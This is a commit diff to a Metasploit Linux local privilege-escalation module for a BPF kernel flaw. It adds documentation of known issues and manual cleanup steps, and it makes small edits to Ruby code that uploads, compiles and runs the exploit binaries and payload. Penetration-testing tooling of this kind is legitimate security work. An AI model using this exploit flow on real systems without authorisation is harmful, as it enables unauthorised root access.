additional doc updates

documentation/modules/exploit/linux/local/bpf_priv_esc.md

@@ -2,6 +2,12 @@
 
 This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper.
 
+Mettle at times on this exploit will give back an invalid session number error.  In these cases payload/linux/x64/shell/bind_tcp seemed to always work.
+
+As of PR submission, the original shell becomes unresposive when the root shell occurs.  Metasm fails to compile due to fuse.h being required.
+
+As of PR submission, killing of the process hello and doubleput has to occur manually.  /tmp/fuse_mount also needs to be unmounted and deleted.
+
 ## Creating A Testing Environment
 
 There are a few requirements for this module to work:

modules/exploits/linux/local/bpf_priv_esc.rb

@@ -127,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Local
         vprint_status("Writing #{filename} to #{file_path}")
         write_file(file_path, file_content)
       end
-      cmd_exec("chmod +x #{file_path}"); 
+      cmd_exec("chmod +x #{file_path}");
       register_file_for_cleanup(file_path)
     end
 
@@ -470,7 +470,7 @@ class MetasploitModule < Msf::Exploit::Local
     upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
     upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
     upload_and_compile('payload', payload_path, generate_payload_exe)
-    #cmd_exec("chmod 555 #{payload_filename}")
+
     print_status('Starting execution of priv esc.  This may take about 120 seconds')
 
     cmd_exec(doubleput_file)